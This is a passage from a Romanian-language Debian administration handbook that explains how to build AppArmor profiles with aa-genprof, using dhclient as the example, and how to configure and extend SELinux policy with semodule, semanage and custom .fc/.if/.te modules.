aa-enforce și aa-complain, oferind ca parametru fie calea executabilului, fie calea către fișierul de
politici. În plus, un profil poate fi complet dezactivat cu aa-disable sau pus în modul de audit, (pentru a
înregistra apelurile de sistem acceptate) cu aa-audit.

# aa-enforce /usr/bin/pidgin
Setting /usr/bin/pidgin to enforce mode.
# aa-complain /usr/sbin/dnsmasq
Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Crearea unui nou profil

Chiar dacă crearea unui profil AppArmor este destul de ușoară, majoritatea programelor nu au unul. Această
secțiune vă va arăta cum puteți crea un profil nou, de la zero, doar folosind programul țintă și lăsând
AppArmor să monitorizeze apelurile de sistem pe care le face și resursele pe care le accesează.
Cele mai importante programe care trebuie limitate sunt programele care se confruntă cu rețeaua, deoarece
acestea sunt cele mai probabile ținte ale atacatorilor de la distanță. De aceea, AppArmor oferă în mod
convenabil o comandă aa-unconfined pentru a enumera programele care nu au un profil asociat și care
expun o soclu de rețea deschis. Cu opțiunea --paranoid veți obține toate procesele neconectate care au
cel puțin o conexiune de rețea activă.

# aa-unconfined
801 /sbin/dhclient not confined
409 /usr/sbin/NetworkManager not confined
411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'
429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'
516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'
538 /usr/sbin/zebra not confined
591 /usr/sbin/named not confined
847 /usr/sbin/mysqld not confined
849 /usr/sbin/sshd not confined
1013 /usr/sbin/dhclient (/sbin/dhclient) not confined
1276 /usr/sbin/apache2 not confined
1322 /usr/sbin/apache2 not confined
1323 /usr/sbin/apache2 not confined
1324 /usr/sbin/apache2 not confined
1325 /usr/sbin/apache2 not confined
1327 /usr/sbin/apache2 not confined
1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'
2132 /usr/sbin/exim4 not confined
12865 /usr/bin/python3.7 (/usr/bin/python3) not confined
12873 /usr/bin/python3.7 (/usr/bin/python3) not confined

În exemplul următor, vom încerca astfel să creăm un profil pentru /sbin/dhclient. Pentru aceasta vom
folosi aa-genprof dhclient. În Debian Buster există o eroare cunoscută19 din care cauză comanda
anterioară eșuează cu următoarea eroare:
ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found.
Pentru a remedia problema, creați fișierele lipsă cu touch file. Acesta vă va invita să utilizați aplicația
într-o altă fereastră și atunci când ați terminat pentru a reveni la aa-genprof, să scanați evenimentele
AppArmor din jurnalele de sistem și să convertiți acele jurnale în reguli de acces. Pentru fiecare eveniment
înregistrat, acesta va face una sau mai multe sugestii de reguli pe care le puteți aproba sau modifica în mai
multe moduri:

# aa-genprof dhclient
Writing updated profile for /usr/sbin/dhclient.

19https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160

317
Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you
wish to confine. See the following wiki page for
more information:
https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be
allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

Reading log entries from /var/log/syslog.
Updating AppArmor profiles in /etc/apparmor.d.

Profile: /sbin/dhclient ➊
Execute: /usr/sbin/dhclient-script
Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r

⮩ )t / (F)inish
P
Should AppArmor sanitise the environment when
switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence
of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]
Y
Writing updated profile for /usr/sbin/dhclient-script.
Complain-mode changes

Profile: /sbin/dhclient ➋
Capability: net_raw
Severity: 8

[1 - capability net_raw,]
[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding capability net_raw to profile.

Profile: /sbin/dhclient
Capability: net_bind_service
Severity: 8

[1 - #include <abstractions/nis> ]
2 - capability net_bind_service,
(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding #include <abstractions/nis> to profile.

Profile: /sbin/dhclient ➌
Path: /etc/ssl/openssl.cnf
New Mode: owner r
Severity: 2

[1 - #include <abstractions/lightdm>]
2 - #include <abstractions/openssl>
3 - #include <abstractions/ssl_keys>
4 - owner /etc/ssl/openssl.cnf r,
(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O
⮩ )wner permissions off / Abo(r)t / (F)inish
2

Profile: /usr/sbin/dhclient
Path: /etc/ssl/openssl.cnf

318
New Mode: owner r
Severity: 2

1 - #include <abstractions/lightdm>
[2 - #include <abstractions/openssl>]
3 - #include <abstractions/ssl_keys>
4 - owner /etc/ssl/openssl.cnf r,
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F
⮩ )inish / (M)ore
A
[...]
Profile: /sbin/dhclient ➍
Path: /usr/bin/dash
New Mode: owner r
Severity: unknown

[1 - #include <abstractions/lightdm>]
2 - #include <abstractions/ubuntu-browsers.d/plugins-common>
3 - owner /usr/bin/dash r,
(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O
⮩ )wner permissions off / Abo(r)t / (F)inish
A
Adding #include <abstractions/lightdm> to profile.
Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]
2 - /usr/sbin/dhclient-script
(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)
⮩ lean profiles / Abo(r)t
S
Writing updated profile for /usr/sbin/dhclient.
Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be
allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F
Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

See the following wiki page for more information:
https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Rețineți că programul nu reafișează caracterele de control pe care le introduceți, ci pentru claritatea

explicației le-am inclus în transcriptul anterior.
➊ Primul eveniment detectat este executarea unui alt program. În acest caz, aveți mai multe opțiuni:
puteți rula programul cu profilul procesului părinte (“Inherit”), îl puteți rula cu propriul profil dedicat
(opțiunile “Profile” și “Named”, diferind doar de posibilitatea de a folosi un nume de profil arbitrar), îl
puteți rula cu un sub-profil al procesului părinte (alegerea “Child”), îl puteți rula fără niciun profil
(alegerea “Unconfined”) sau puteți decide să nu-l execute deloc (alegerea “Deny”).
Rețineți că, atunci când alegeți să-l rulați sub un profil dedicat care nu există încă, instrumentul va
crea profilul care vă lipsește și va face sugestii de rule pentru acel profil în aceeași execuție.
➋ La nivel de kernel, puterile speciale ale utilizatorului root au fost împărțite în competențe
(“capabilities”). Când un apel de sistem necesită o competență specifică, AppArmor va verifica dacă
profilul permite programului să utilizeze această competență.

319
➌ Aici programul caută permisiuni de citire pentru /etc/ssl/openssl.cnf. Aa-genprof
detectate, că această permisiune a fost acordată și de mai multe “abstracții” și le oferă ca opțiuni
alternative. O abstracție oferă un set reutilizabil de reguli de acces care grupează mai multe resurse
care sunt utilizate în mod obișnuit împreună. În acest caz specific, fișierul este în general accesat
prin funcțiile legate de serviciile de nume ale bibliotecii C și tastăm “2” pentru a selecta mai întâi
alegerea “#include <abstractions/nameservice>” și apoi “A” pentru a o permite.
➍ Observați că această solicitare de acces nu face parte din profilul dhclient, ci din noul profil pe care l-
am creat atunci când am permis /usr/sbin/dhclient-script să ruleze cu propriul profil.
După ce am trecut prin toate evenimentele înregistrate, programul se oferă să salveze toate
profilurile care au fost create în timpul rulării. În acest caz, avem două profiluri pe care le salvăm
simultan cu “Save” (dar le puteți salva și individual) înainte de a părăsi programul cu “Finish”.
aa-genprof este de fapt doar un wrapper inteligent în jurul aa-logprof: creează un profil gol, îl încarcă în
modul complain și apoi rulează aa-logprof care este un instrument de actualizare a unui profil pe baza
încălcărilor profilului care au fost înregistrate. Așadar, puteți re-executa acel instrument ulterior pentru a
îmbunătăți profilul pe care tocmai l-ați creat.
Dacă doriți ca profilul generat să fie complet, ar trebui să utilizați programul în toate modurile în care acesta
este utilizat în mod legitim. În cazul dhclient, înseamnă că îl executați prin Network Manager, îl executați prin
ifupdown, îl executați manual etc. În final, puteți obține un /etc/apparmor.d/sbin.dhclient aproape
de aceasta:

# Last Modified: Fri Jul 5 00:51:02 2019

#include <tunables/global>

/usr/sbin/dhclient {
#include <abstractions/base>
#include <abstractions/nameservice>

capability net_bind_service,
capability net_raw,

/bin/dash r,
/etc/dhcp/* r,
/etc/dhcp/dhclient-enter-hooks.d/* r,
/etc/dhcp/dhclient-exit-hooks.d/* r,
/etc/resolv.conf.* w,
/etc/samba/dhcp.conf.* w,
/proc/*/net/dev r,
/proc/filesystems r,
/run/dhclient*.pid w,
/sbin/dhclient mr,
/sbin/dhclient-script rCx,
/usr/lib/NetworkManager/nm-dhcp-helper Px,
/var/lib/NetworkManager/* r,
/var/lib/NetworkManager/*.lease rw,
/var/lib/dhcp/*.leases rw,

owner /etc/** mrwk,

owner /var/** mrwk,
owner /{,var/}run/** mrwk,
}

Iar /etc/apparmor.d/usr.sbin.dhclient-script ar putea fi similar cu:

# Last Modified: Fri Jul 5 00:51:55 2019

#include <tunables/global>

/usr/sbin/dhclient-script {
#include <abstractions/base>
#include <abstractions/bash>
#include <abstractions/lightdm>
}

320
14.5. Introducere în SELinux
14.5.1. Principii
SELinux, de la Security Enhanced Linux este un sistem Mandatory Access Control, bazat pe interfața LSM —
Linux Security Modules. În practică, nucleul interoghează SELinux înainte de fiecare apel al sistemului pentru a
ști dacă procesul este autorizat să efectueze operațiunea dată.
SELinux folosește un set de reguli — cunoscute de toți ca politicy — de autorizare sau interzicere a
operațiunilor. Aceste reguli sunt dificil de creat. Din fericire, sunt furnizate două politici standard ( targeted și
strict) pentru a evita cea mai mare parte a lucrărilor de configurare.
Cu SELinux, gestionarea drepturilor este complet diferită de sistemele Unix tradiționale. Drepturile unui
proces depind de security context. Contextul este definit de identitatea utilizatorului care a început procesul,
role și domain pe care utilizatorul le-a avut la acel moment. Drepturile depind într-adevăr de domeniu, dar
tranzițiile dintre domenii sunt controlate de roluri. În cele din urmă, tranzițiile posibile între roluri depind de
identitate.

Figura 14.1 Contextele de securitate și utilizatorii Unix

În practică, în timpul autentificării, utilizatorul primește un context de securitate implicit (în funcție de rolurile
pe care ar trebui să le poată susține). Aceasta definește domeniul curent, și tot astfel domeniul pe care îl vor
purta toate noile procese copil. Dacă doriți să schimbați rolul curent și domeniul său asociat, trebuie să
apelați newrole -r role_r -t domain_t (de obicei, există un singură domeniu permis pentru un
anumit rol, parametrul -t poate fi deseori lăsat în afara). Această comandă vă autentifică rugându-vă să
introduceți parola. Această caracteristică interzice programelor să schimbe automat rolurile. Astfel de
modificări pot avea loc numai dacă sunt permise în mod explicit în politica SELinux.
Evident că drepturile nu se aplică tuturor obiectelor (fișiere, directoare, socluri, dispozitive etc.). Ele pot varia
de la obiect la obiect. Pentru a realiza acest lucru, fiecare obiect este asociat cu un type (aceasta este
cunoscută ca etichetare). Drepturile domeniilor sunt astfel exprimate cu seturi de operațiuni (ne)permise pe
acele tipuri (și, indirect, pe toate obiectele care sunt etichetate cu un type dat).

ÎN PLUS Intern, un domeniu este doar un tip, dar un tip care se aplică numai proceselor. De aceea, domeniile sunt sufixate
Domains și types sunt cu _t la fel ca tipurile de obiecte.
echivalente

Implicit, un program moștenește domeniul său de la utilizatorul care l-a pornit, însă politicile standard
SELinux se așteaptă ca numeroase programe importante să fie rulate în domenii dedicate. Pentru a realiza
acest lucru, aceste executabile sunt etichetate cu un type dedicat (de exemplu, ssh este etichetat cu
ssh_exec_t, iar la începerea programului, acesta trece automat la domeniul ssh_t). Acest mecanism
automat de tranziție a domeniului face posibilă acordarea numai a drepturilor cerute de fiecare program.
Este un principiu fundamental al SELinux.

321
 Figura 14.2 Tranziții automate între domenii

ÎN PRACTICĂ Pentru a găsi contextul de securitate al unui proces dat, ar trebui să utilizați opțiunea Z din ps.
Aflarea contextului de $ ps axZ | grep vstfpd
securitate system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/
⮩ vsftpd
Primul câmp conține identitatea, rolul, domeniul și nivelul MCS, separate prin puncte. Nivelul MCS (Multi-
Category Security) este un parametru care intervine la configurarea unei politici de protecție a confidențialității,
care reglementează accesul la fișiere în funcție de sensibilitatea acestora. Această caracteristică nu va fi explicată
în această carte.
Pentru a găsi contextul de securitate actual într-un shell, ar trebui să apelați id -Z.
$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
În cele din urmă, pentru a găsi tipul alocat unui fișier, puteți utiliza ls -Z.
$ ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh
Merită să remarcăm faptul că identitatea și rolul atribuit unui fișier nu au o importanță specială (ele nu sunt
folosite niciodată), ci pentru uniformitate, toate obiectele primesc un context de securitate complet.

14.5.2. Configurarea SELinux

Suportul SELinux este încorporat în nucleele standard furnizate de Debian. Instrumentele principale Unix
acceptă SELinux fără modificări. Prin urmare, este relativ ușor să activați SELinux.
Comanda apt install selinux-basics selinux-policy-default va instala automat pachetele
necesare pentru a configura un sistem SELinux.
Pachetul selinux-policy-default conține un set de reguli standard. În mod implicit, această politică
restricționează accesul doar pentru câteva servicii expuse pe scară largă. Sesiunile utilizatorului nu sunt
restricționate și prin urmare este puțin probabil ca SELinux să blocheze operațiunile legitime ale utilizatorilor.
Totuși, acest lucru îmbunătățește securitatea serviciilor de sistem care rulează pe mașină. Pentru a configura
o politică echivalentă cu vechile reguli “strict”, trebuie doar să dezactivați modulul uneconfined
(gestionarea modulelor este detaliată în această secțiune).
După instalarea politicii, ar trebui să etichetezi toate fișierele disponibile (ceea ce înseamnă atribuirea un
type). Această operație trebuie inițiată manual cu fixfiles relabel.
Sistemul SELinux este acum gata. Pentru a o activa, ar trebui să adăugați parametrul selinux=1
security=selinux la nucleul Linux. Parametrul audit=1 permite înregistrarea SELinux care
înregistrează toate operațiunile refuzate. În sfârșit, parametrul enforcing=1 aduce regulile în aplicare: fără
el, SELinux funcționează în modul implicit permisive unde acțiunile refuzate sunt înregistrate, dar sunt încă
executate. Prin urmare, ar trebui să modificați fișierul de configurare al GRUB bootloader-ului pentru a adăuga

322
parametrii doriți. Un mod simplu de a face acest lucru este de a modifica variabila GRUB_CMDLINE_LINUX
în /etc/default/grub și de a rula update-grub. SELinux va fi activ după o repornire.
De remarcat că scriptul selinux-activate automatizează aceste operații și forțează o etichetare la
următoarea repornire (care evită fișiere noi care nu sunt etichetate, create în timp ce SELinux nu era încă
activ și în timp ce etichetarea continua).

14.5.3. Gestionarea unui sistem SELinux

Politica SELinux este un set modular de reguli, iar instalarea sa detectează și activează automat toate
modulele relevante bazate pe serviciile deja instalate. Astfel, sistemul este imediat operațional. Cu toate
acestea, când un serviciu este instalat după politica SELinux, trebuie să puteți activa manual modulul
corespunzător. Acesta este scopul comenzii semodule. În plus, trebuie să fiți în măsură să definiți rolurile pe
care fiecare utilizator le poate susține, iar acest lucru se poate face cu comanda semanage.
Aceste două comenzi pot fi astfel utilizate pentru modificarea configurației curentă SELinux, care este
stocată în /etc/selinux/default/. Spre deosebire de alte fișiere de configurare pe care le puteți găsi în
/etc/, toate aceste fișiere nu trebuie schimbate manual. Ar trebui să utilizați programele concepute în acest
scop.

ÎN DETALIU Deoarece NSA – National Security Agency nu furnizează nicio documentație oficială, comunitatea a creat un
Mai multe documentație wiki pentru a compensa. Reunește multe informații, dar trebuie să fiți conștienți că majoritatea contribuabililor
SELinux sunt utilizatori Fedora (unde SELinux este activat implicit). Astfel, documentația tinde să se ocupe în
mod special de distribuția respectivă.
➨ http://www.selinuxproject.org
Ar trebui să aruncați o privire și asupra paginii dedicate lui Debian, precum și a blogului lui Russell Coker, care
este unul dintre cei mai activi dezvoltatori Debian care lucrează pe suport SELinux.
➨ http://wiki.debian.org/SELinux
➨ http://etbe.coker.com.au/tag/selinux/

14.5.3.1. Gestionarea modulelor SELinux

Modulele SELinux disponibile sunt stocate în directorul /usr/share/selinux/default/. Pentru a activa
unul dintre aceste module în configurația curentă, ar trebui să utilizați semodule -i module.pp.bz2.
Extensia pp.bz2 înseamnă pachetul politicy (comprimat cu bzip2).
Eliminarea unui modul din configurația curentă se face cu semodule -r module. În cele din urmă,
comanda semodule -l listează modulele care sunt instalate în prezent. De asemenea, scoate numerele
versiunilor acestora. Modulele pot fi activate selectiv cu semodule -e și dezactivate cu semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2
libsemanage.semanage_direct_install_info: abrt module will be disabled after install
⮩ as there is a disabled instance of this module present in the system.
# semodule -l
accountsd
acct
[...]
# semodule -e abrt
# semodule -d accountsd
# semodule -l
abrt
acct
[...]
# semodule -r abrt
libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.
⮩ semodule -l

semodule încarcă imediat noua configurație, dacă nu folosiți opțiunea -n. De remarcat faptul că
programul acționează implicit la configurația curentă (care este indicată de variabila SELINUXTYPE
din /etc/selinux/config), dar că puteți modifica alta, specificându-l cu opțiunea -s.

14.5.3.2. Gestionarea identităților

De fiecare dată când un utilizator se conectează, primește o identitate SELinux.

323
Această identitate definește rolurile pe care le vor putea susține. Aceste două mapări (de la utilizator la
identitate și de la această identitate la roluri) sunt configurabile cu comanda semanage.
Desigur, ar trebui să citiți pagina de
manual semanage(8), chiar dacă sintaxa comenzii tinde să fie similară
pentru toate conceptele gestionate. Veți găsi opțiuni comune tuturor sub-comenzilor: -a pentru a adăuga, -d
pentru a șterge, -m pentru a modifica, -l pentru a enumera și -t pentru a indica un tip (sau un domeniu).
semanage login -l listează maparea curentă între identificatorii utilizatorului și identitățile SELinux.
Utilizatorii care nu au o intrare explicită primesc identitatea indicată în intrarea __default__. Comanda
semanage login -a -s user_u user va asocia identitatea user_u cu utilizatorul dat. În cele din urmă,
semanage login -d user renunță la intrarea de mapare atribuită acestui utilizator.

# semanage login -a -s user_u dogg

# semanage login -l

Login Name SELinux User MLS/MCS Range Service

__default__ unconfined_u s0-s0:c0.c1023 *

rhertzog user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
# semanage login -d dogg

semanage user -l listează maparea între identitățile utilizatorului SELinux și rolurile permise. Adăugarea
unei noi identități necesită definirea atât a rolurilor corespunzătoare, cât și a unui prefix de etichetare, care
este utilizat pentru a atribui un tip fișierelor personale (/home/user/*). Prefixul trebuie ales dintre user,
staff și sysadm. Prefixul “staff” rezultă în fișiere de tipul “staff_home_dir_t”. Crearea unei noi
identități de utilizator SELinux se face cu rolurile semanage user -a -R roles -P prefix identity.
În cele din urmă, puteți elimina o identitate de utilizator SELinux cu semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling MLS/ MLS/

SELinux User Prefix MCS Level MCS Range SELinux Roles

root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r

⮩ system_r
staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r
sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r
test_u staff s0 s0 staff_r user_r
unconfined_u unconfined s0 s0-s0:c0.c1023 system_r
⮩ unconfined_r
user_u user s0 s0 user_r
# semanage user -d test_u

14.5.3.3. Gestionarea contextelor de fișiere, ports și booleans

Fiecare SELinux module oferă un set de reguli de etichetare a fișierelor, dar este de asemenea posibil să
adăugați labeling rules personalizate pentru a răspunde unui caz specific. De exemplu, dacă doriți ca web
server să poată citi fișierele din ierarhia de fișiere /srv/www/, puteți executa semanage fcontext -a -t
httpd_sys_content_t ”/srv/www(/.*)?” urmată de restorecon -R /srv/www/. Prima comandă
înregistrează noile reguli de etichetare, iar cea de-a doua resetează tipurile de fișiere în conformitate cu
regulile actuale de etichetare.
Asemănător, TCP/UDP ports sunt etichetate într-un mod care să asigure că numai daemoni-i corespunzători
le pot asculta. De exemplu, dacă doriți ca web server să poată asculta pe port 8080, ar trebui să rulați
semanage port -m -t http_port_t -p tcp 8080.
Unele module SELinux exportă opțiuni boolean pe care le puteți modifica comportamentul regulilor implicite.
Utilitarul getsebool poate fi utilizat pentru a inspecta aceste opțiuni, (getsebool boolean afișează o
opțiune, iar getsebool -a pe toate). Comanda setsebool boolean value modifică valoarea curentă a
unei opțiuni boolean. Opțiunea -P face ca schimbarea să fie permanentă, înseamnă că noua valoare devine
implicită și va fi păstrată în timpul repornirilor. Exemplul de mai jos acordă web server-elor acces la
directoarele home (acest lucru este util atunci când utilizatorii au web site-uri personale în ~/public_html/).

# getsebool httpd_enable_homedirs

324
httpd_enable_homedirs --> off
# setsebool -P httpd_enable_homedirs on
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on

14.5.4. Adaptarea regulilor

Întrucât politica SELinux este modulară, ar fi interesant să se dezvolte noi module pentru aplicații (eventual
personalizate) care îi lipsesc. Aceste noi module vor completa apoi documentarea politicii.
Pentru a crea module noi, pachetul selinux-policy-dev este necesar, precum și selinux-policy-doc. Acesta din
urmă conține documentația regulilor standard (/usr/share/doc/selinux-policy-doc/html/) și a
fișierelor eșantion care pot fi utilizate ca șabloane pentru a crea noi module. Instalați fișierele respective și
studiați-le mai îndeaproape:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile
$ cp /usr/share/doc/selinux-policy-doc/example.fc ./
$ cp /usr/share/doc/selinux-policy-doc/example.if ./
$ cp /usr/share/doc/selinux-policy-doc/example.te ./

Fișierul .te este cel mai important. Definește regulile. Fișierul .fc definește “file contexts”, adică tipurile
atribuite fișierelor legate de acest modul. Datele din fișierul .fc sunt utilizate în timpul etapei de etichetare a
fișierului. În cele din urmă, fișierul .if definește interfața modulului: este un set de “public functions” pe care
alte module le pot utiliza pentru a interacționa corect cu modulul pe care îl creați.

14.5.4.1. Scrierea unui fișier .fc

Citind exemplul de mai jos ar trebui să fie suficient pentru a înțelege structura unui astfel de fișier. Puteți
utiliza expresii obișnuite pentru a atribui același context de securitate mai multor fișiere sau chiar unui întreg
arbore de directoare.

Exemplul 14.2 Fișierul example.fc

# myapp executable will have:

# label: system_u:object_r:myapp_exec_t
# MLS sensitivity: s0
# MCS categories: <none>

/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Scrierea unui fișier .if

În exemplul de mai jos, prima interfață (“myapp_domtrans”) controlează cine poate executa aplicația. Al
doilea (“myapp_read_log”) acordă drepturi de citire asupra fișierelor de jurnal ale aplicației.
Fiecare interfață trebuie să genereze un set valid de reguli care pot fi încorporate într-un fișier .te. Astfel, ar
trebui să declarați toate tipurile pe care le utilizați (cu macro gen_require) și să folosiți directive standard
pentru a acorda drepturi. Rețineți însă, că puteți utiliza interfețe furnizate de alte module. Următoarea
secțiune va oferi mai multe explicații despre modul de exprimare a acestor drepturi.

Exemplul 14.3 Fișierul example.fc

## <summary>Myapp example policy</summary>

## <desc>
## <p>
## More descriptive text about myapp. The <desc>
## tag can also use <p>, <ul>, and <ol>
## html tags for formatting.
## </p>
## <p>
## This policy supports the following myapp features:
## <ul>
## <li>Feature A</li>
## <li>Feature B</li>

325
## <li>Feature C</li>
## </ul>
## </p>
## </desc>
#

########################################
## <summary>
## Execute a domain transition to run myapp.
## </summary>
## <param name="domain">
## Domain allowed to transition.
## </param>
#
interface(`myapp_domtrans',`
gen_require(`
type myapp_t, myapp_exec_t;
')

domtrans_pattern($1,myapp_exec_t,myapp_t)
')

########################################
## <summary>
## Read myapp log files.
## </summary>
## <param name="domain">
## Domain allowed to read the log files.
## </param>
#
interface(`myapp_read_log',`
gen_require(`
type myapp_log_t;
')

logging_search_logs($1)
allow $1 myapp_log_t:file r_file_perms;
')

DOCUMENTAȚIE Politica de referință evoluează ca orice proiect de software gratuit: bazat pe contribuțiile voluntarilor. Proiectul
Explicații despre reference este găzduit de Tresys, una dintre cele mai active companii din domeniul SELinux. Wiki-ul lor conține explicații
politicy despre modul în care sunt structurate regulile și cum poți crea altele noi.
➨ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Scrierea unui fișier .te

Să ne uităm la fișierul example.te:

ÎN DETALIU Pentru a structura corect politica, dezvoltatorii SELinux au folosit un procesor de comenzi macro. În loc să
Limbajul m4 macro dubleze multe directive similare permit, au creat "funcții macro” pentru a utiliza o logică la nivel superior, ceea
ce duce la o politică mult mai lizibilă.
În practică, m4 este utilizat pentru a compila aceste reguli. Face operațiunea opusă: extinde toate aceste directive
la nivel înalt într-o bază de date imensă de directive permite.
SELinux "interfaes” sunt doar funcții macro care vor fi înlocuite cu un set de reguli la momentul compilării. De
asemenea, unele drepturi sunt de fapt seturi de drepturi care sunt înlocuite cu valorile lor la momentul
compilării.

policy_module(myapp,1.0.0) ➊

########################################
#
# Declarations
#

type myapp_t; ➋
type myapp_exec_t;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t) ➌

type myapp_log_t;
logging_log_file(myapp_log_t) ➍

326
type myapp_tmp_t;
files_tmp_file(myapp_tmp_t)

########################################
#
# Myapp local policy
#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; ➎

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

➊ Modulul trebuie identificat prin numele și numărul versiunii sale. Această directivă este necesară.
➋ Dacă modulul introduce tipuri noi, trebuie să le declare cu directive ca aceasta. Nu ezitați să creați
atâtea tipuri câte sunt necesare, decât să acordați prea multe drepturi inutile.
➌ Aceste interfețe definesc tipul myapp_t ca domeniu de proces care ar trebui să fie utilizat de orice
executabil etichetat cu myapp_exec_t. În mod implicit, aceasta adaugă un atribut exec_type pe
acele obiecte, care la rândul său permite altor module să acorde drepturi pentru a executa acele
programe: de exemplu, modulul userdomain permite procese cu domenii user_t, staff_t și
sysadm_t pentru a le executa. Domeniile altor aplicații limitate nu vor avea drepturile de a le
executa, cu excepția cazului în care regulile le acordă drepturi similare (acesta este cazul, de
exemplu al dpkg cu domeniu său dpkg_t).
➍ logging_log_file este o interfață oferită de politica de referință. Acesta indică faptul că fișierele
etichetate cu tipul dat sunt fișiere de jurnal care ar trebui să beneficieze de regulile asociate (de
exemplu, acordarea de drepturi la logrotate, astfel încât să le poată manipula).
➎ Directiva allow este directiva de bază utilizată pentru autorizarea unei operațiuni. Primul
parametru este domeniul de proces permis să execute operațiunea. Cel de-al doilea definește
obiectul pe care un proces al fostului domeniu îl poate manipula. Acest parametru are forma
“type:class“ unde type este SELinux type și clasa descrie natura obiectului (file, directory, socket, fifo
etc.). La sfârșit, ultimul parametru descrie permisiunile (operațiunile permise).
Permisiunile sunt definite ca setul de operații permise și urmează acest șablon: { operation1
operation2 }. Cu toate acestea, puteți utiliza și macro-uri care reprezintă cele mai utile
permisiuni. /usr/share/selinux/devel/include/support/obj_perm_sets.spt le
enumeră.
Următoarea pagină web oferă o listă relativ exhaustivă de clase de obiecte și permisiuni care pot fi
acordate.
➨ http://www.selinuxproject.org/page/ObjectClassesPerms
Acum trebuie doar să găsiți setul minim de reguli necesare pentru a vă asigura că aplicația sau serviciul
țintă funcționează corect. Pentru a obține acest lucru, ar trebui să aveți cunoștințe bune despre modul în
care aplicația funcționează și despre ce tip de date gestionează și/sau generează.
Însă este posibilă o abordare empirică. Odată ce obiectele relevante sunt etichetate corect, puteți utiliza
aplicația în modul permisiv: operațiunile care ar fi interzise sunt înregistrate, dar continuă. Analizând
jurnalele, puteți acum să identificați operațiunile pe care să le permiteți. Iată un exemplu de o astfel de intrare
de jurnal:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs

⮩ ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:
⮩ device_t:s0 tclass=fifo_file permissive=1

Pentru a înțelege mai bine acest mesaj, să-l studiem bucată cu bucată.

Mesaj Descriere
avc: denied O operațiune a fost refuzată.
{ read write } Această operație a solicitat permisiunile read și write.
pid=1876 Procesul cu PID 1876 a executat operația (sau a încercat să o execute).
comm=”syslogd” Procesul a fost o instanță a programului syslogd.
name=”xconsole” Obiectul țintă a fost numit xconsole . Uneori puteți avea și o variabilă “path” —
cu calea completă — mai degrabă.

327
 Mesaj Descriere
dev=tmpfs Dispozitivul care găzduiește obiectul țintă este un tmpfs (un sistem de fișiere
în memorie). Pentru un disc real, puteți vedea partiția care găzduiește (de
exemplu: “sda3”).
ino=5510 Obiectul este identificat de inode numărul 5510.
scontext=system_u:system_r:syslogd_t:s0 Acesta este contextul de securitate al procesului care a executat operațiunea.
tcontext=system_u:object_r:device_t:s0 Acesta este contextul de securitate al obiectului vizat.
tclass=fifo_file Obiectul țintă este un fișier FIFO.

Tabel 14.1 Analiza unei SELinux trace

Prin observarea acestei intrări de jurnal, este posibil să se construiască o regulă care să permită această
operație. De exemplu: allow syslogd_t device_t: fifo_file { read read }. Acest proces
poate fi automatizat și este exact ceea ce oferă comanda audit2allow (a pachetului policycoreutils).
Această abordare este utilă numai dacă diferitele obiecte sunt deja etichetate corect în funcție de ceea ce
trebuie limitat. În orice caz, va trebui să revizuiți cu atenție regulile generate și să le validați în funcție de
